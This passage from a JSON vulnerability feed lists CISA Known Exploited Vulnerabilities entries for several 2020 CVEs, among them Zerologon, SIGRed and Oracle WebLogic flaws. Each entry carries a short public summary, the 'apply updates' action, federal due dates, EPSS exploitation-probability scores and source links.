use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-11652","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-11652 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-11652&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-11652, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-11738","cveId":"CVE-2020-11738","aliases":[],"kind":"vulnerability","title":"WordPress Snap Creek Duplicator Plugin File Download Vulnerability","summary":"WordPress Snap Creek Duplicator plugin contains a file download vulnerability when an administrator creates a new copy of their site that allows an attacker to download the generated files from their Wordpress dashboard. This vulnerability affects Duplicator and Dulplicator Pro.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"WordPress","product":"Snap Creek Duplicator Plugin","stacks":["WordPress","Snap Creek Duplicator Plugin"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97822,"percentile":0.99905,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-11738&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-11738","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-11738 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-11738&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-11738, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-12271","cveId":"CVE-2020-12271","aliases":[],"kind":"vulnerability","title":"Sophos SFOS SQL Injection Vulnerability","summary":"Sophos Firewall operating system (SFOS) firmware contains a SQL injection vulnerability when configured with either the administration (HTTPS) service or the User Portal is exposed on the WAN zone. Successful exploitation may cause remote code execution to exfiltrate usernames and hashed passwords for the local device admin(s), portal admins, and user accounts used for remote access (but not external Active Directory or LDAP passwords).","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Sophos","product":"SFOS","stacks":["Sophos","SFOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.42434,"percentile":0.98695,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-12271&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-12271","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-12271 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-12271&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-12271, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-12812","cveId":"CVE-2020-12812","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS SSL VPN Improper Authentication Vulnerability","summary":"Fortinet FortiOS SSL VPN contains an improper authentication vulnerability that may allow a user to login successfully without being prompted for the second factor of authentication (FortiToken) if they change the case in their username.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS","stacks":["Fortinet","FortiOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.45379,"percentile":0.98779,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-12812&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-12812","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-12812 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-12812&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-12812, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-1350","cveId":"CVE-2020-1350","aliases":[],"kind":"vulnerability","title":"Microsoft Windows DNS Server Remote Code Execution Vulnerability","summary":"Microsoft Windows DNS Servers fail to properly handle requests, allowing an attacker to perform remote code execution in the context of the Local System Account. The vulnerability is also known under the moniker of SIGRed.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96721,"percentile":0.99884,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-1350&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-1350","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-1350 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-1350&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-1350, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-1380","cveId":"CVE-2020-1380","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability","summary":"Microsoft Internet Explorer contains a memory corruption vulnerability which can allow for remote code execution in the context of the current user.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.24188,"percentile":0.97839,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-1380&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-1380","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-1380 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-1380&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-1380, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-1464","cveId":"CVE-2020-1464","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Spoofing Vulnerability","summary":"Microsoft Windows contains a spoofing vulnerability when Windows incorrectly validates file signatures, allowing an attacker to bypass security features and load improperly signed files.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.38946,"percentile":0.98579,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-1464&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-1464","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-1464 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-1464&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-1464, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-1472","cveId":"CVE-2020-1472","aliases":[],"kind":"vulnerability","title":"Microsoft Netlogon Privilege Escalation Vulnerability","summary":"Microsoft's Netlogon Remote Protocol (MS-NRPC) contains a privilege escalation vulnerability when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller. An attacker who successfully exploits the vulnerability could run a specially crafted application on a device on the network. The vulnerability is also known under the moniker of Zerologon.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Netlogon","stacks":["Microsoft","Netlogon"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99389,"percentile":0.9994,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-1472&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-1472","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-1472 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-1472&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-1472, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-14750","cveId":"CVE-2020-14750","aliases":[],"kind":"vulnerability","title":"Oracle WebLogic Server Remote Code Execution Vulnerability","summary":"Oracle WebLogic Server contains an unspecified vulnerability allowing an unauthenticated attacker to perform remote code execution. This vulnerability is related to CVE-2020-14882.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"WebLogic Server","stacks":["Oracle","WebLogic Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99247,"percentile":0.99936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-14750&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-14750","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-14750 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-14750&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-14750, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-14871","cveId":"CVE-2020-14871","aliases":[],"kind":"vulnerability","title":"Oracle Solaris and Zettabyte File System (ZFS) Unspecified Vulnerability","summary":"Oracle Solaris and Oracle ZFS Storage Appliance Kit contain an unspecified vulnerability causing high impacts to confidentiality, integrity, and availability of affected systems.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Solaris and Zettabyte File System (ZFS)","stacks":["Oracle","Solaris and Zettabyte File System (ZFS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.80157,"percentile":0.99613,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-14871&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-14871","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-14871 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-14871&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-14871, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-14882","cveId":"CVE-2020-14882","aliases":[],"kind":"vulnerability","title":"Oracle WebLogic Server Remote Code Execution Vulnerability","summary":"Oracle WebLogic Server contains an unspecified vulnerability, which is assessed to allow for remote code execution, based on this vulnerability being related to CVE-2020-14750.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"WebLogic Server","stacks":["Oracle","WebLogic Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99997,"percentile":0.9999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-14882&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-14882","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-14882 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-14882&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-14882, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-14883","cveId":"CVE-2020-14883","aliases":[],"kind":"vulnerability","title":"Oracle WebLogic Server Unspecified Vulnerability","summary":"Oracle WebLogic Server contains an unspecified vulnerability in the Console component with high impacts to confidentilaity, integrity, and availability.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"WebLogic Server","stacks":["Oracle","WebLogic Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97734,"percentile":0.99903,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-14883&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-14883","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-14883 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-14883&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-14883, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-15505","cveId":"CVE-2020-15505","aliases":[],"kind":"vulnerability","title":"Ivanti MobileIron Multiple Products Remote Code Execution Vulnerability","summary":"Ivanti MobileIron's Core & Connector, Sentry, and Monitor and Reporting Database (RDB) products contain an unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"MobileIron Multiple Products","stacks":["Ivanti","MobileIron Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99737,"percentile":0.99953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-15505&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-15505","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-15505 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-15505&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-15505, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-15999","cveId":"CVE-2020-15999","aliases":[],"kind":"vulnerability","title":"Google Chrome FreeType Heap Buffer Overflow Vulnerability","summary":"Google Chrome uses FreeType, an open-source software library to render fonts, which contains a heap buffer overflow vulnerability in the function Load_SBit_Png when processing PNG images embedded into fonts. This vulnerability is part of an exploit chain with CVE-2020-17087 on Windows and CVE-2020-16010 on Android.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chrome FreeType","stacks":["Google Chrome","Google","Chrome FreeType"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.63894,"percentile":0.99217,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-15999&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-15999","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-15999 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-15999&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-15999, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-16009","cveId":"CVE-2020-16009","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.48293,"percentile":0.98855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-16009&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-16009","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-16009 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-16009&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-16009, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-16010","cveId":"CVE-2020-16010","aliases":[],"kind":"vulnerability","title":"Google Chrome for Android UI Heap Buffer Overflow Vulnerability","summary":"Google Chrome for Android UI contains a heap buffer overflow vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially 